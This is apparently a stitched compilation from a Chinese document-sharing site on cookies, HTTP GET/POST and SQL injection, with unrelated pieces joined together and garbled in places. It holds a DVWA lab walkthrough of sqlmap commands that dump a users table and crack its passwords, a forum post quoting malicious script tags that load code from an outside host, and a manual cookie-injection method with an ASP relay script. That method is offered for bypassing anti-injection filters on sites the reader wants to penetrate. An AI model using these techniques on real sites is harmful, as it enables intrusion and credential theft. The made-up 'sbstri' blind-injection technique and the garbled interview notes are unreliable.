POST GET与COOKIE注入原理
- 格式:wps
- 大小:51.00 KB
- 文档页数:9
cookies原理Cookies是一种用于网站进行用户识别和信息存储的机制。
当用户访问一个网站时,网站会将一小段数据存储在用户的浏览器中,然后在用户下一次访问该网站时将这些数据发送回服务器。
这些数据以cookie的形式存储,并包含了网站需要存储的一些用户信息。
Cookies的工作原理可以分为以下几个步骤:1. 服务器发送Cookie:当用户第一次访问一个网站时,服务器会将一些数据存储在cookie中,并通过响应头部将cookie发送给用户的浏览器。
这些数据可以包括用户的标识信息、登录状态、浏览偏好等。
2. 浏览器存储Cookie:浏览器接收到服务器发送的cookie后会将其存储在本地的cookie存储空间中。
每个浏览器都有一个自己的cookie存储空间,不同的网站存储在不同的cookie 中。
3. 浏览器发送Cookie:当用户再次访问该网站或者在同一网站的不同页面间切换时,浏览器会将之前存储的cookie附加在请求头部中一同发送给服务器。
这样服务器就能通过这些cookie获取到用户的相关信息。
4. 服务器使用Cookie:服务器接收到浏览器发送的cookie后,会解析其中的数据,并根据这些数据进行相应的操作。
比如根据用户的登录状态判断用户是否需要重新登录,或者根据用户的浏览偏好推送相关内容。
需要注意的是,cookie是存储在用户本地的,因此具有一定的安全风险。
为了保护用户的隐私,浏览器通常会对cookie进行限制,比如每个浏览器对同一域名的cookie数量和总大小都有限制。
此外,用户也可以通过浏览器的设置来限制或清除cookie。
Http请求⽅法之Get、Post原理什么是HTTP? HTTP,即超⽂本传输协议,是⼀种实现客户端和服务器之间通信的响应协议,它是⽤作客户端和服务器之间的请求。
客户端(浏览器)会向服务器提交HTTP请求;然后服务器向客户端返回响应;其中响应包含有关请求的状态信息,还可能包含请求的内容。
HTTP的常⽤⽅法 1、GET⽅法 GET⽅法⽤于使⽤给定的URI从给定服务器中检索信息,即从指定资源中请求数据。
使⽤GET⽅法的请求应该只是检索数据,并且不应对数据产⽣其他影响。
在GET请求的URL中发送查询字符串(名称/值对),需要这样写:/test/demo_form.php?name1=value1&name2=value2 说明:GET请求是可以缓存的,我们可以从浏览器历史记录中查找到GET请求,还可以把它收藏到书签中;且GET请求有长度限制,仅⽤于请求数据(不修改)。
注:因GET请求的不安全性,在处理敏感数据时,绝不可以使⽤GET请求。
2、POST⽅法 POST⽅法⽤于将数据发送到服务器以创建或更新资源,它要求服务器确认请求中包含的内容作为由URI区分的Web资源的另⼀个下属。
POST请求永远不会被缓存,且对数据长度没有限制;我们⽆法从浏览器历史记录中查找到POST请求。
3、HEAD⽅法 HEAD⽅法与GET⽅法相同,但没有响应体,仅传输状态⾏和标题部分。
这对于恢复相应头部编写的元数据⾮常有⽤,⽽⽆需传输整个内容。
4、PUT⽅法 PUT⽅法⽤于将数据发送到服务器以创建或更新资源,它可以⽤上传的内容替换⽬标资源中的所有当前内容。
它会将包含的元素放在所提供的URI下,如果URI指⽰的是当前资源,则会被改变。
如果URI未指⽰当前资源,则服务器可以使⽤该URI 创建资源。
5、DELETE⽅法 DELETE⽅法⽤来删除指定的资源,它会删除URI给出的⽬标资源的所有当前内容。
6、CONNECT⽅法 CONNECT⽅法⽤来建⽴到给定URI标识的服务器的隧道;它通过简单的TCP / IP隧道更改请求连接,通常实使⽤解码的HTTP代理来进⾏SSL编码的通信(HTTPS)。
关于最近各中小网站数据库被注入各种javascript代码的问题~!本人目前解决法~!但不完善,还没搞懂攻击原理及病毒特性。
有条件的朋友建议找专业的Sine安全小组解决网站挂马。
官方站点特征:数据库各表凡是字段长度超过50的都被在字符串末端注入 <script src=/cn.js></script> 或<script src=http://3bom%62%2Ecom/c.js></script> ,并且是不断的注入,一天能注入很多次,目前发现3种注入的js代码。
本人初期也跟各种介绍一样疯狂加防注入的关键词,可无济于事,根本就不管用,反复检查服务器无异样,网站接二连三的被挂掉,然后只能updae,最后只能给数据库用户开只读权限来防止注入,但是问题还没完,后来发现在用户登录管理系统的时候无法登录,于是发现数据库用户系统表的密码等列被注入(其他的表没事),只读权限也能注入么?怀疑sa的用户名密码被破解,于是换了一遍密码,但还是不行继续被注入。
然后开始在各论坛上找解决方法,在本论坛上看到大家有各种解决方法,于是尝试、思考、然后发现了些问题,自己更改了一下防注入代码及网站程序,48个小时没出问题了,先拿来与大家分享。
asp 网站1、防注入get方式要加对Request.QueryString长度的判断此方法比较管用。
If Len(Request.QueryString) > 80 then Response.End()2、防注入Post方式要加对来源地址的判断,防止外部提交,虽然目前攻击是get方式,但防止再次变种攻击。
3、防注入要加清空客户端Cookies代码,发现凡是访问过被注入网站的客户端的Cookies信息被篡改,javascript代码被加入其中,用Cookies的网站基本的被挂,清空Cookies也不管用,照样有~!最好也加上Cookies防注入。
实验简介DVWA (Dam Vulnerable Web Application)DVW A是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。
包含了SQL注入、XSS、盲注等常见的一些安全漏洞。
sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞。
支持很多数据库。
所以一个矛一个盾,正好感受一下sql注入。
DVW A 的安装就不详细介绍了,需要PHP/apache/mysql sqlmap是开源的,可以在github上找到。
cookie注入其原理也和平时的注入一样,只不过说我们是将提交的参数已cookie方式提交了,而一般的注入我们是使用get或者post方式提交,get方式提交就是直接在网址后面加上需要注入的语句,post则是通过表单方式,get和post的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数,而另外一个却不能。
实验预备知识1.web抓包工具的使用;2.sqlmap的使用3.了解cookie注入原理实验操作一、查找注入点1.打开Burp Suite,设置浏览器代理上网图1:Burp Suite设置图2:浏览器设置图3:Burp Suite获取web数据包界面。
intercept off(关闭)、在点击改建intercept on(开启)2.将Burp Suite设置成intercept off,登录DVW A,将DVW A安全性设置成low;然后将Burp Suite设置成intercept on,在DVW A的SQL Injection页面上有一个userid输入框,随便输入然后点击submit,在Burp Suite中可以找到GET信息,其中有Request URI和Cookie信息。
4. 使用sqlmap查找注入点root@kali:~# sqlmap -u "http://192.168.10.34/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie="security=low;PHPSESSID=9kseq7rldgemj30rihogdt7bn3"注:--cookie前有空格得到可能的注入点是id,数据库是mysql[INFO] resuming back-end DBMS 'mysql'[INFO] testing connection to the target URL[INFO] the back-end DBMS is MySQLweb server operating system: Windows 2003 or XPweb application technology: PHP 5.3.3, , Microsoft IIS 6.0back-end DBMS: MySQL 5.0二、开始脱库1. root@kali:~# sqlmap -u "http://192.168.10.34/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie="security=low;PHPSESSID=9kseq7rldgemj30rihogdt7bn3" --current-db得到当前数据库名2. root@kali:~# sqlmap -u "http://192.168.10.34/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie="security=low;PHPSESSID=9kseq7rldgemj30rihogdt7bn3" --current-db --tables–Ddvwa得到dvwa库的表名3. root@kali:~# sqlmap -u "http://192.168.10.34/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie="security=low;PHPSESSID=9kseq7rldgemj30rihogdt7bn3" -T guestbook –columns 注:-T后跟表名参数,可以为users表,获取users表结构获取guestbook表结构获取users表结构4. root@kali:~# sqlmap -u "http://192.168.10.34/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie="security=low;PHPSESSID=9kseq7rldgemj30rihogdt7bn3" -T users –dump注:在sqlmap询问时候破解密码时,选择是,sqlmap会使用自己的字典来破解密码,得到5个用户的密码。
post原理
POST(英文全称:POST,全名为:Hypertext Transfer Protocol (HTTP) POST)是一个向指定资源提交数据的请求方法,通常
被用于将客户端的数据发送到服务器端,然后由服务器进行处理。
POST请求与GET请求不同,GET请求是从服务器中获取资源,而POST请求则是向服务器提交数据。
当我们需要发送一些敏感数据或者较大的数据时,使用POST请求更为安全和可靠。
POST请求的工作原理是在HTTP请求的消息体中附加请求参数,而不是像GET请求那样将参数直接附加在URL上。
这样
做的好处是可以隐藏敏感数据,增加安全性。
具体来说,当我们发起POST请求时,需要在请求头(HTTP Header)中指定方法为POST,然后将请求参数以键值对的形
式放入请求体(HTTP Body)中。
服务器端接收到这些数据后,就可以根据实际需求进行处理,比如存储到数据库中,进行计算或者返回相应的结果。
在实际的开发中,我们通常会使用各种编程语言或者框架来发起POST请求,比如使用JavaScript中的Ajax、Python中的requests库等。
这些工具和技术可以帮助我们快速、简洁地构
建POST请求,并处理服务器返回的数据。
总结起来,POST请求是一种将数据发送到服务器端的方法,
它通过在请求体中附加参数来保证数据的安全传输。
无论是在前端的Ajax请求还是后端的HTTP库中,我们都可以根据实际需求来发起POST请求,并处理服务器返回的响应。
sql的注⼊与转义sql注⼊: 正常情况下: delete.php?id=3; $sql = 'delete from news where id = '.$_GET['id']; 恶意情况: delete.php?id=3 or 1; $sql = 'delete from news where id = 3 or 1'; -------如此执⾏后,所有的记录将都被删除 应该采取相关措施。
⽐如⽤之前先判断是否是数字等等。
要使⾃⼰相信,从客户端传来的信息永远是不可靠的!!转义: 有时候从客户端传来的数据,可能恶意包含些特殊的字符,⽐如单引号、斜杠等,所以需要转义,转义成普通的字符,此时就要⽤到string addslashes ( string $str ),这个函数可以对某个变量进⾏转义。
但是,如果对数组⾥的元素进⾏转义,就⽤foreach循环数组,如下: foreach($_POST as $k=>$v) { if(is_string($v)) {$_POST[$k] = addslashes($v); } } 但是如果数组中还包含数组,那就要递归进⾏转义了,此时⽤到 array_walk_recursive(array &$input , $funcname [, $userdata ]) 将⽤户⾃定义函数funcname应⽤到array数组中的每个单元。
本函数会递归到更深层的数组中去。
典型情况下funcname接受两个参数。
input参数的值作为第⼀个,键名作为第⼆个。
如果提供了可选参数userdata,将被作为第三个参数传递给 callback funcname。
成功时返回TRUE,或者在失败时返回FALSE 也就是说:⽤⾃定义的函数,⾄少要能接收两个参数,⽽addslashes()只能接收⼀个参数所以⾃定义⼀个函数如下: function a(&$v,$k){ $v=addslashes($v); } array_walk_recursive(&$arr,'a');系统⾃动转义: PHP中,有⼀个魔术引号的概念,如何打开?答:在PHP.ini中,magic_quotes_gpc=On;重启apache即可 魔术引号被打开后,系统会⾃动对$_GET,$_POST,$_COOKIE数据进⾏转义,在不知情的情况下,再次进⾏⼿动转义的话,就转多了,要想合理的进⾏转义,就要⾸先判断,魔术符号是否已经打开了,⽤magic_quotes_gpc()进⾏判断,不需要传值,关闭返回0,关闭返回1 if(!get_magic_quotes_gpc()) { // 如果魔术引号没开 function _addslashes(&$v,$k) { $v = addslashes($v); } array_walk_recursive(&$_GET,'_addslashes'); array_walk_recursive(&$_POST,'_addslashes'); array_walk_recursive(&$_COOKIE,'_addslashes'); }。
布尔盲注sbstri判断原理一、布尔盲注简介布尔盲注是一种常见的网络攻击方式,在渗透测试和漏洞利用中经常使用。
它利用了Web应用程序对用户输入的不充分过滤和验证,通过构造恶意输入来绕过安全机制,从而执行非授权的操作。
二、布尔盲注的原理布尔盲注是基于布尔逻辑运算的一种注入攻击方式。
它利用了Web应用程序在数据库查询语句中使用布尔逻辑进行判断的特性,通过在查询语句中注入恶意条件来判断数据库中的数据是否满足特定条件。
攻击者可以利用布尔盲注来获取数据库中的数据、执行命令、绕过身份验证等操作。
2.1 判断原理布尔盲注的判断原理是基于对真假条件的判断。
攻击者通过构造恶意输入,使得Web应用程序在执行数据库查询语句时产生不同的结果。
通过观察Web应用程序的响应时间、错误信息等特征,攻击者可以判断数据库中的数据是否满足特定的条件。
2.2 sbstri技术sbstri是一种特定的布尔盲注技术,它主要利用了Web应用程序中的字符串比较函数,例如strcmp、strcasecmp等。
攻击者通过构造恶意输入,使得Web应用程序在进行字符串比较时产生不同的结果。
通过观察Web应用程序的响应结果,攻击者可以判断字符串比较的结果是否为真或假。
三、布尔盲注sbstri判断原理详解布尔盲注sbstri主要通过构造恶意输入来实现对Web应用程序的攻击。
攻击者通常需要了解以下几个关键因素:3.1 目标URL攻击者需要了解目标Web应用程序的URL,包括待注入的参数和注入点的位置。
通过分析Web应用程序的请求参数,攻击者可以准确定位注入点,从而构造合适的注入payload。
3.2 注入点类型攻击者还需要了解注入点的类型,以便选择合适的注入技术和payload。
常见的注入点类型包括GET参数、POST参数、Cookie等。
对于sbstri技术,攻击者通常需要注入到字符串比较函数中。
3.3 注入payload构造合适的注入payload是成功进行布尔盲注sbstri攻击的关键。
什么是Cookie。
Cookie的原理介绍,Cookie的简单应⽤1 介绍:Cookies亦称Cookie 。
Cookies是⼀种能够让⽹站服务器把少量数据储存到客户端的硬盘或内存,或是从客户端的硬盘读取数据的⼀种技术。
Cookies是当你浏览某⽹站时,由Web服务器置于你硬盘上的⼀个⾮常⼩的⽂本⽂件,它可以记录你的⽤户ID、密码、浏览过的⽹页、停留的时间等信息。
当你再次来到该⽹站时,⽹站通过读取Cookies,得知你的相关信息,就可以做出相应的动作,如在页⾯显⽰欢迎你的标语,或者让你不⽤输⼊ID、密码就直接登录等等。
从本质上讲,它可以看作是你的⾝份证。
但Cookies不能作为代码执⾏,也不会传送病毒,且为你所专有,并只能由提供它的服务器来读取。
保存的信息⽚断以"名/值"对(name-value pairs)的形式储存,⼀个"名/值"对仅仅是⼀条命名的数据。
⼀个⽹站只能取得它放在你的电脑中的信息,它⽆法从其它的Cookies⽂件中取得信息,也⽆法得到你的电脑上的其它任何东西。
Cookies中的内容⼤多数经过了加密处理,因此⼀般⽤户看来只是⼀些毫⽆意义的字母数字组合,只有服务器的CGI处理程序才知道它们真正的含义。
由于Cookies是我们浏览的⽹站传输到⽤户计算机硬盘中的⽂本⽂件或内存中的数据,因此它在硬盘中存放的位置与使⽤的操作系统和浏览器密切相关。
在Windows 9X系统计算机中,Cookies⽂件的存放位置为C:WindowsCookies,在Windows NT/2000/XP的计算机中,Cookies⽂件的存放位置为C:\Documents and Settings\⽤户名\Cookies。
硬盘中的Cookies⽂件可以被Web浏览器读取,它的命令格式为:⽤户名@⽹站地址[数字].txt。
如笔者计算机中的⼀个Cookies⽂件名为:ch@163[1].txt。
信息安全⾯试题1、渗透测试是通过恶意⿊客的攻击⼿段和⽅法,来评估⽹络系统安全性的⼀种⽅法,漏洞评估偏重于检查系统和服务时都存在安全问题,渗透测试主要执⾏漏洞来验证系统确实存在漏洞传统的渗透测试⽅法对⼯业控制系统基础设施会造成严重的影响,应当注意使⽤适当的⽅法。
⼯控设备检测:主要包括⼯控设备资产收集⼯控设备漏洞挖掘漏洞分析验证健壮性测试以及多层次多维多的安全检测等⼯控系统ICS是⼏种类型控制系统的总称,包括监控和数据采集系统SCADA 分布式控制系统DCS和其他控制系统以及⽣产应⽤服务等,⼯控设备检测服务主要是对系统的核⼼控制元件和⽹络组建进⾏检查2、SCADA系统:⾼分布式系统,数据采集和控制系统,给谁配⽔⼯程电⼒系统⽯油系统等电⽹系统。
SCADA风险分析:⼤量的可编程控制系统 PLC 可编程逻辑控制器,RTU(远程测控终端)和IED(智能电⼦设备)存在漏记炸弹或者其他楼栋部分采⽤国外设备操作系统、控制组件等未实现⾃主控制,可能存在安全漏洞被恶意控制终端服务数据被盗的危险。
3、常见的⼯业控制系统的漏洞:SQL注⼊漏洞弱⼝令漏洞系统服务运维配置不当4、Java反序列化漏洞将应⽤数据转换为其他格式的过程称为序列化,⽽将读取序列化数据的过程称为反序列化5、⼯控安全风险评估安全软件选择与管理防护验证:检查核⼼设备是否采⽤过离线环境验证测试的防病毒软件,6、常见协议ModbusModbus 协议定义了⼀个与基础通信层⽆关的简单协议数据单元(PDU)特定总线或⽹络上Modbus协议映射能够在应⽤数据单元(ADU)上引⼊洗⾐附加符7、cookieHTTP_referer 是head的⼀部分,当浏览器啊发送请求⼀般会带上refer告诉服务器是从哪个页⾯链接过来的,服务器据此可以获得⼀些信息Http_User-Agent ⽤来检测浏览器的使⽤操作系统版本号⽤户个⼈偏好等remote_addr 对应cookie ⽤户的IP地址8、拿到⼀个站点⾸先做的事whois 收集注册信息⽹站IP地址旁站 C 段⽹站服务器系统版本容器版本程序版本数据库类型⼆级域名防⽕墙维护者信息邮箱等mysql 的⽹站注册如5.0⼀下的版本没有 Information_schema这个系统表⽆法列表名等职能暴⼒跑表,5.0⼀下是多⽤户但操作,以上是单⽤户多操作。
POST GET与COOKIE注入原理一般的http请求不外乎get 和post两种,如果过滤掉所有post或者get请求中的参数信息中的非法字符,那么也就实现了防SQL注入。
首先定义请求中不能包含如下字符:'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare各个字符用"|"隔开,然后再判断Request.QueryString,具体代码如下:get请求的非法字符过滤:dim sql_injdataSQL_injdata = "'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare" SQL_inj = split(SQL_Injdata,"|")If Request.QueryString<>"" ThenFor Each SQL_Get In Request.QueryStringFor SQL_Data=0 To Ubound(SQL_inj)if instr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))>0 ThenResponse.Write "<Script Language='javascript'>{alert('请不要在参数中包含非法字符!');history.back(-1)}</Script>"Response.endend ifnextNextEnd Ifpost请求的非法字符过滤:If Request.Form<>"" ThenFor Each Sql_Post In Request.FormFor SQL_Data=0 To Ubound(SQL_inj)if instr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA))>0 ThenResponse.Write "<Script Language='javascript'>{alert('请不要在参数中包含非法字符!');history.back(-1)}</Script>"Response.endend ifnextnextend if然后在使用的时候将这两段代码放在数据库连接的文件里一起Include进来即可。
一般情况下,当我们要渗透的网站做了防注入的话,最有效的就是进行Cookie注入,下面附手工进行Cookie注入的方法..(不要点击以下XXX。
)---------华丽的分割线---------假设网址为/xxx.asp?id=xxx,对GET以及POST提交的数据都进行了检测,也没办法饶过.首先打开上面的地址,再清空地址栏,输入javascript:alert(document.cookie="id="+escape("46 and 1=2")),再输入/xxx.asp,页面返回错误,说明有希望;提交javascript:alert(document.cookie="xx and 1=1")),最后输入/xxx.asp,这次返回完全正常,然后利用以下代码进行Cookie注入程序代码JavaScript代码<%cookname=request("jmdcw")cookname=escape(cookname)jmstr="id="&cookname '存在注入的变量jmstr=replace(jmstr,chr(32),"%20")jmstr=replace(jmstr,chr(43),"%2b")'//以下三行需要修改,Cookies值可以用Domain3.5浏览下就得到了~~jmurl="/xxx.asp" '存在注入的网址jmref="/xxx.asp" '来源地址jmcok="ASPSESSIONIDCQTAQBSQ=ALGDAPNDKCOHJNDCAMOHDHLK"jmcok=jmcok& ";"&jmstr";"response.write postdata(jmurl,jmcok,jmref)function postdata(posturl,postcok,postref)dim httpset http=server.createobject("msxml2.serverxmlhttp")with http.open "POST",posturl,false.setRequestheader "content-type","application/x-www-form-urlencoded".setrequestheader "referer",postref.setrequestheader "cookie",postcok '提交cookie值.send() '发送数据postdata=.responsebody '得到返回的二进制信息end withset http=nothingpostdata=bytes2BSTR(postdata) '转换二进制流end functionfunction bytes2BSTR(vin)dim strReturndim i,thischarcode,nextcharcodestrReturn=""for i=1 to lenB(vin)thischarcode=ascB(midB(vin,1,1))if thischarcode<&H80 thenstrReturn=strReturn&chr(thischarcode)elsenextcharcode=ascB(midB(vin,1+1,1))strReturn=strReturn&chr(clng(thischarcode) * &H100+cint(nextcharcode))i=i+1end ifnextbytes2BSTR=strReturnend function%>保存以上代码为xxx.asp,那么注入地址就是http://127.0.0.1/jmdcw.asp?jmdcw=xxx,直接用工具猜解就OK.注入工具的原理和开发“注入”这一词眼下可算得上时髦,“大街小巷”到处都能“听”到看到。
这一词曾经让无数人“闻名色变”,今天我们的话题仍是注入。
不过今天我们这里的这个注入不同于以往的,它有别于通常的SQL注入,可以说是一种新型的。
平日里,人们在提交数据的时候都是采用页面形式。
但是,今天我们这里就要打破这一传统观念。
这种方法是通过自己构造HTTP请求报文,以程序的方式代替传统的方法,实现数据的自动提交。
在文章还未进入正题的时候,我就HTTP协议这个东西给大家再罗嗦两句。
其实关于HTTP 协议这个东西我本来都不想说的。
但是,为了照顾大多数朋友。
平日里,当我们在打开一个网站的时候,比如说/,实际上IE作为一个客户端,它将向服务器发送的是如下的请求报文:GET / HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms- powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */* Accept-Language: zh-cnAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: Connection: Keep-AliveCookie: NETEASE_SSN=hinrof; NETEASE_ADV=11&22; Province=0; City=0; NTES_UV_COOKIE=YES从以上的报文中,我们可以看到很多字段,不过其中有很多并不是必须的,如果我们自己编程,只关心必要的就行了。
在HTTP/1.1协议中规定了最小请求消息由方法字段(GET/POST/HEAD)和主机字段(HOST)构成。
如上面的GET /HTTP/1.1HOST:但在HTTP/1.0中,HOST字段并不是必须的,至于这里为什么不能省,继续往下看。
GET和POST是浏览器向服务器提交报文通常所采用的两种方法。
服务器在收到报文之后,解码分析出所需的数据并进行处理,最后返回结果。
通常我们可以看到的都是像GET /list.asp?id=*** HTTP/1.1HOST:***.***.***.***由于受URL长度1024的限制,所以GET方法通常是用在提交一些小数据的情况下。
如果数据比较大就只能采用POST方法。
在讲解POST方法的一些要点之前,大家还是先来看一段POST请求报文。
POST/huace/add.php HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms- powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */*Referer: http://202.147.125.36/huace/add.phpAccept-Language: zh-cnContent-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: 202.147.125.36Content-Length: 115Connection: Keep-Alivename=test&email=&comefrom=&homepage=&icq=&oicq=&image=say.gif&comment=test&password=&doadd=%B7%A2%CB%CD%C1%F4%D1 %D4与GET方法相比,在字段下面多了一段内容,这就是我们提交的数据,如果有中文须经过urlencode编码。